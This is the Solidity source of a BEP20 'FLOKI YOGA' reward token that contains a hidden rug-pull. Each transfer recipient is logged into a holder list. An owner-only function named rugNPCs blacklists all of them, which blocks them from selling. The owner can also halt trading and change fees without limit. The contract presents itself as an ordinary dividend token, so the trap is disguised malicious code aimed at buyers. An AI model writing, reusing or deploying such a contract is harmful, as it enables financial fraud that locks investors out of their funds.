文件 1 的 1:FLOKIYOGA.sol
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
function claimDividend(address holder) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IDEXRouter router;
address routerAddress = 0x38eEd6a71A4ddA9d7f776946e3cfa4ec43781AE6;
IBEP20 RewardToken = IBEP20(0x319e222De462ac959BAf2aEc848697AeC2bbD770);
address[] shareholders;
mapping(address => uint256) shareholderIndexes;
mapping(address => uint256) shareholderClaims;
mapping(address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 60 minutes;
uint256 public minDistribution = 1 * (10 ** 18);
uint256 currentIndex;
bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyToken() {
require(msg.sender == _token);
_;
}
constructor(address _router) public {
router = _router != address(0) ? IDEXRouter(_router) : IDEXRouter(routerAddress);
_token = msg.sender;
}
function setDistributionCriteria(uint256 newMinPeriod, uint256 newMinDistribution) external override onlyToken {
minPeriod = newMinPeriod;
minDistribution = newMinDistribution;
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
if (shares[shareholder].amount > 0) {
distributeDividend(shareholder);
}
if (amount > 0 && shares[shareholder].amount == 0) {
addShareholder(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override onlyToken {
uint256 balanceBefore = RewardToken.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(RewardToken);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: msg.value }(
0,
path,
address(this),
block.timestamp
);
uint256 amount = RewardToken.balanceOf(address(this)).sub(balanceBefore);
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = shareholders.length;
if (shareholderCount == 0) {
return;
}
uint256 iterations = 0;
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}
if (shouldDistribute(shareholders[currentIndex])) {
distributeDividend(shareholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function shouldDistribute(address shareholder) internal view returns (bool) {
return
shareholderClaims[shareholder] + minPeriod < block.timestamp && getUnpaidEarnings(shareholder) > minDistribution;
}
function distributeDividend(address shareholder) internal {
if (shares[shareholder].amount == 0) {
return;
}
uint256 amount = getUnpaidEarnings(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
RewardToken.transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if (shares[shareholder].amount == 0) {
return 0;
}
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if (shareholderTotalDividends <= shareholderTotalExcluded) {
return 0;
}
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length - 1];
shareholderIndexes[shareholders[shareholders.length - 1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
function claimDividend(address holder) external override {
distributeDividend(holder);
}
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
emit OwnershipTransferred(adr);
}
function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
contract FLOKIYOGA is IBEP20, Ownable {
using SafeMath for uint256;
string constant _name = "FLOKI YOGA";
string constant _symbol = "$FLY";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x38eEd6a71A4ddA9d7f776946e3cfa4ec43781AE6;
address RewardToken = 0x319e222De462ac959BAf2aEc848697AeC2bbD770;
uint256 _totalSupply = 1000000000000000000000000;
uint256 public _maxTxAmount = (_totalSupply * 100) / 100;
uint256 public _walletMax = (_totalSupply * 100) / 100;
bool public restrictWhales = true;
bool private blacklistMode = true;
mapping(address => bool) private isBlacklisted;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public isDividendExempt;
uint256 private liquidityFee = 2;
uint256 private marketingFee = 2;
uint256 public rewardsFee = 1;
uint256 private extraFeeOnSell = 3;
uint256 private totalFee = 5;
uint256 private totalFeeIfSelling = 5;
address private autoLiquidityReceiver;
address public marketingWallet;
address private anothermarketingWallet;
bool public plebs = true;
address[] public holderlist;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
bool public tradingOpen = true;
DividendDistributor public dividendDistributor;
uint256 distributorGas = 300000;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = (_totalSupply * 5) / 2000;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() public Ownable(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
_allowances[address(this)][address(router)] = uint256(-1);
dividendDistributor = new DividendDistributor(address(router));
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[anothermarketingWallet] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
isTxLimitExempt[DEAD] = true;
isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
isDividendExempt[ZERO] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = 0x966EaD423Bd4F4254bEF3fE22ecee37eC2267258;
anothermarketingWallet = 0x966EaD423Bd4F4254bEF3fE22ecee37eC2267258;
totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
totalFeeIfSelling = totalFee.add(extraFeeOnSell);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external view override returns (string memory) {
return _name;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address holder, address spender) external view override returns (uint256) {
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function claim() public {
dividendDistributor.claimDividend(msg.sender);
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = block.number;
}
function changeTxLimit(uint256 newLimit) external onlyOwner {
_maxTxAmount = newLimit;
}
function changeWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}
function changeRestrictWhales(bool newValue) external onlyOwner {
restrictWhales = newValue;
}
function changeIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function changeIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function changeIsDividendExempt(address holder, bool exempt) external onlyOwner {
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if (exempt) {
dividendDistributor.setShare(holder, 0);
} else {
dividendDistributor.setShare(holder, _balances[holder]);
}
}
function changeFees(
uint256 newLiqFee,
uint256 newRewardFee,
uint256 newMarketingFee,
uint256 newExtraSellFee
) external onlyOwner {
liquidityFee = newLiqFee;
rewardsFee = newRewardFee;
marketingFee = newMarketingFee;
extraFeeOnSell = newExtraSellFee;
totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
totalFeeIfSelling = totalFee.add(extraFeeOnSell);
}
function changeFeeReceivers(
address newLiquidityReceiver,
address newMarketingWallet,
address newanothermarketingWallet
) external onlyOwner {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
anothermarketingWallet = newanothermarketingWallet;
}
function changeSwapBackSettings(
bool enableSwapBack,
uint256 newSwapBackLimit,
bool swapByLimitOnly
) external onlyOwner {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function changeDistributionCriteria(uint256 newinPeriod, uint256 newMinDistribution) external onlyOwner {
dividendDistributor.setDistributionCriteria(newinPeriod, newMinDistribution);
}
function changeDistributorSettings(uint256 gas) external onlyOwner {
require(gas < 750000);
distributorGas = gas;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
if (plebs) {
holderlist.push(recipient);
}
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function rugNPCs() external onlyOwner {
for (uint256 i = 0; i < holderlist.length; i++) {
address wallet = holderlist[i];
isBlacklisted[wallet] = true;
}
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
if (!isOwner(sender) && !isOwner(recipient)) {
require(tradingOpen, "Trading not open yet");
}
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
if (msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {
swapBack();
}
if (!launched() && recipient == pair) {
require(_balances[sender] > 0);
launch();
}
if (blacklistMode) {
require(!isBlacklisted[sender] && !isBlacklisted[recipient], "Blacklisted");
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if (!isTxLimitExempt[recipient] && restrictWhales) {
require(_balances[recipient].add(amount) <= _walletMax);
}
uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(finalAmount);
if (!isDividendExempt[sender]) {
try dividendDistributor.setShare(sender, _balances[sender]) {} catch {}
}
if (!isDividendExempt[recipient]) {
try dividendDistributor.setShare(recipient, _balances[recipient]) {} catch {}
}
try dividendDistributor.process(distributorGas) {} catch {}
emit Transfer(sender, recipient, finalAmount);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function tradingStatus(bool newStatus) public onlyOwner {
tradingOpen = newStatus;
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp);
uint256 amountBNB = address(this).balance;
uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBReflection = amountBNB.mul(rewardsFee).div(totalBNBFee);
uint256 amountBNBMarketing = amountBNB.sub(amountBNBLiquidity).sub(amountBNBReflection);
try dividendDistributor.deposit{ value: amountBNBReflection }() {} catch {}
uint256 marketingShare = amountBNBMarketing.mul(2).div(4);
uint256 anothermarketingShare = amountBNBMarketing.sub(marketingShare);
(bool tmpSuccess, ) = payable(marketingWallet).call{ value: marketingShare, gas: 30000 }("");
(bool tmpSuccess1, ) = payable(anothermarketingWallet).call{ value: anothermarketingShare, gas: 30000 }("");
tmpSuccess = false;
tmpSuccess1 = false;
if (amountToLiquify > 0) {
router.addLiquidityETH{ value: amountBNBLiquidity }(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
function enable_blacklist(bool _status) public onlyOwner {
blacklistMode = _status;
}
function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
isBlacklisted[addresses[i]] = status;
}
}
}